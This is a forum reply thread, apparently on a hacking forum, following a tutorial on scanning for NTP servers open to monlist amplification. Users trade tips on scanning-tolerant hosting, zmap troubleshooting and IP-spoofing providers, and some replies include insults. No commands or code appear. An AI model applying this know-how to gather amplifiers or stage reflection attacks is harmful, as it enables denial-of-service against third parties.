Knowledgeable - September 9, 2016, 4:07 pm

(Sep 9, 2016 05:50 AM)Enter Down Wrote: [\[CITE\]](#) ovh dont care about scanning, but some slow scan ntp dns, ssdp, to ovh, cos them have filtering :D , and not really good scan with ovh, but safe server no abuse, or suspend, sorry my english is bad

so you CAN scan with the ovh servers and they won't suspend but the lists won't be the best because they actually do block some protocols?

xtria - September 16, 2016, 1:23 am

Trash tutorial

Lol ntp tutorials in 2016

Are you that desperate for attention

ma?ns - September 16, 2016, 1:49 am

(Sep 16, 2016 01:23 AM)xtria Wrote: [\[CITE\]](#) Trash tutorial

Lol ntp tutorials in 2016

Are you that desperate for attention

Made this quite some time ago but you dont have better stuff to do than digging through my posts

xtria - September 16, 2016, 2:12 am

(Sep 16, 2016 01:49 AM)tyl?er1 Wrote: [\[CITE\]](#) Made this quite some time ago but you dont have better stuff to do than digging through my posts

Its in 2016

Did you just find out about the monlist vulnerability in 2016 loooooo

nexonsupport - September 17, 2016, 3:30 pm

Thanks for this amazing tut. It was helpful

ma?ns - September 17, 2016, 3:52 pm

(Sep 17, 2016 03:30 PM)nexonsupport Wrote: [\[CITE\]](#) Thanks for this amazing tut. It was helpful
Glad that I helped you ?

Akmed - September 17, 2016, 5:35 pm

(Sep 17, 2016 03:30 PM)nexonsupport Wrote: [\[CITE\]](#) Thanks for this amazing tut. It was helpful
Amazing tut for a retard like yourself
Ohohohohoh ntp scanner ohohohohohoho

a7037271 - November 16, 2016, 4:25 am

I still don't understand,video????,thanks,Dude!!

DarkDragon™ - November 16, 2016, 6:23 am

(Nov 16, 2016 05:25 AM)a7037271 Wrote: [\[CITE\]](#) I still don't understand,video????,thanks,Dude!!
epic gravedigger with first post of account

A1ema1akraHF - July 12, 2017, 9:19 pm

2017 and working fine, thanks mate.

romeo3271 - July 14, 2017, 1:04 am

hope this tutorial is good lol

itzDeux13-37 - September 8, 2017, 6:57 pm

Replying to come back later on this,

Thanks pal

daoniandada - March 31, 2018, 12:49 am

Seek the NTP filtering method.For example, 440, 880

raigorstonehoff - March 31, 2018, 9:25 am

ur method is very nice,
thanks u for sharing, will try it soon

Alone_At_Duck - April 26, 2018, 2:11 pm

I get everytime this error Message [FATAL] zmap: could not detect default gateway address for venet0. Try setting default gateway mac address (-G).
Works fine on my other VPS.

.colossus. - April 26, 2018, 3:16 pm

(Apr 26, 2018 02:11 PM)Alone_At_Duck Wrote: [\[CITE\]](#) I get everytime this error Message [FATAL] zmap: could not detect default gateway address for venet0. Try setting default gateway mac address (-G).
Works fine on my other VPS.
read the manual...works not on openvz

byaga - April 26, 2018, 3:29 pm

Thank you. I know what I will be trying tonight.

G0dzSoldiers - April 26, 2018, 6:39 pm

Nice tutorial my dude !!!!

Alone_At_Duck - April 27, 2018, 1:30 am

(Apr 26, 2018 03:16 PM).colossus. Wrote: [\[CITE\]](#) read the manual...works not on openvz
I dont use a OpenVPZ and i cant even install zmap with the Command lmao i need to download the packages from CenOs and i use 6.5 when its help i use Bungeecloud

Idontknowstuff - April 28, 2018, 9:35 pm

Looks good! Thanks for the share bud

Utah - July 11, 2018, 1:13 am

It says the Zmap package doesn't exist no matter what, very frustrating! Any solutions?

SIM-2907534 - July 11, 2018, 3:04 am

2016 tutorial lol old but gold!

Njord - July 15, 2018, 3:06 pm

Nice thread bro looks great

HangMansheart - July 15, 2018, 7:01 pm

Just curious, what is the need for NTP scanning?

Network Time Protocol doesn't seem insanely useful, although it probably is and I'm just not getting something.

BlueMatrix - July 22, 2018, 12:53 am

(Jan 5, 2016 11:52 PM)ma?ns Wrote: [\[CITE\]](#) You, I like you

Because I simply get better results doing it this way, but on the other hand it takes way longer. If you want it to be done faster you can also use the ntpscanner and filter that but I got way better results with this.

they can you give me some spoofed hosts?

divino2017 - July 22, 2018, 4:46 am

thanks bro for the great tutorial.

MrHappy - July 26, 2018, 1:47 pm

ecatel is no more, it's now Novogara.

pumperdumper - July 26, 2018, 1:57 pm

(Jul 26, 2018 01:47 PM)-mdK Wrote: [\[CITE\]](#) ecatel is no more, it's now Novogara.

They don't spoof either. /12-/16 aka useless

sherbet - July 28, 2018, 4:33 pm

thanks bro keep things updated :)

p45ch4 - November 16, 2018, 5:45 pm

nice one, still hittin hard in 2018 great tutorial!

SIM-2907534 - November 17, 2018, 7:23 am

(Nov 16, 2018 06:45 PM)p45ch4 Wrote: [\[CITE\]](#) nice one, still hittin hard in 2018 great tutorial!

This is a good method, but today there are still better ones.

realsunjester - November 17, 2018, 7:27 am

i use the nse nmap script, <https://nmap.org/nsedoc/scripts/ntp-info.html>

p45ch4 - November 17, 2018, 9:55 am

(Nov 17, 2018 08:23 AM)?KI??s Wrote: [\[CITE\]](#) This is a good method, but today there are still better ones.

Sounds interesting, which one would you say is actually your favorite?

SIM-2907534 - November 18, 2018, 10:40 am

(Nov 17, 2018 10:55 AM)p45ch4 Wrote: [\[CITE\]](#) Sounds interesting, which one would you say is actually your favorite?

Without a doubt zmap is the best method to scan, but keep in mind that not all ranges are good and above all depends on how the filters, and it will seem strange but also depends on where the server is hosted.

zhenlong - October 20, 2020, 5:38 pm

? It's a known fact that zmap works better than the C scripts. ?

anonomox1 - October 20, 2020, 5:48 pm

interesting, to fav. thanks

zhenlong - December 2, 2020, 8:20 am

interesting, to fav. thanks

lordek1sda - January 28, 2023, 7:30 pm

Soo old but still ok

facecontrol86 - May 2, 2023, 1:28 am

Thanks for sharing this for the community [warn]

Stunner - May 2, 2023, 8:37 pm

Stop reviving a 6year + thread.